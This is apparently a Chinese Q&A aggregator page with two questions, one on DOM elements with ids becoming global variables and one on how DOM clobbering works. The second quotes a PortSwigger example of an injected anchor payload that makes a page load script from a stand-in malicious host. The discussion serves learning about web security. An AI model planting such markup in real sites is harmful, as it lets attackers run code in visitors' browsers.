相关疑难解决方法(0)

带有id的DOM树元素是否成为全局变量?

研究一个简单的HTMLElement包装器的想法我偶然发现了Internet Explorer和Chrome的以下内容:

对于DOM树中具有ID的给定HTMLElement,可以使用其ID作为变量名来检索div.所以对于一个喜欢的div

<div id="example">some text</div>
Run Code Online (Sandbox Code Playgroud)

Internet Explorer 8和Chrome中,您可以执行以下操作:

alert(example.innerHTML); //=> 'some text'
Run Code Online (Sandbox Code Playgroud)

要么

alert(window['example'].innerHTML); //=> 'some text'
Run Code Online (Sandbox Code Playgroud)

那么,这是否意味着DOM树中的每个元素都转换为全局命名空间中的变量?它是否也意味着可以使用它作为getElementById这些浏览器中方法的替代品?

javascript dom global-variables identifier getelementbyid

341
推荐指数
5
解决办法
4万
查看次数

DOM 破坏及其工作原理

我对DOM Clobbering主题有一些疑问:

Portswigger 对此进行了解释:

 <script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>
Run Code Online (Sandbox Code Playgroud)

要利用此易受攻击的代码,您可以注入以下 HTML,以使用锚元素破坏 someObject 引用:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
Run Code Online (Sandbox Code Playgroud)

由于两个锚点使用相同的 ID,因此 DOM 将它们分组到一个 DOM 集合中。然后 DOM 破坏向量用这个 DOM 集合覆盖 someObject 引用。在最后一个锚元素上使用 name 属性是为了破坏 someObject 对象的 url 属性,该对象指向外部脚本。

我的理解是:

具有 id 的锚元素someObject存储在类似数组的结构中 - DOM 集合。

通过

var someObject = window.someObject || {};
Run Code Online (Sandbox Code Playgroud)

锚元素是使用 id 引用的 - 某些浏览器将 id 直接存储在 window 对象中(html 元素的 ID …

html javascript frontend dom web-application-security

4
推荐指数
1
解决办法
2012
查看次数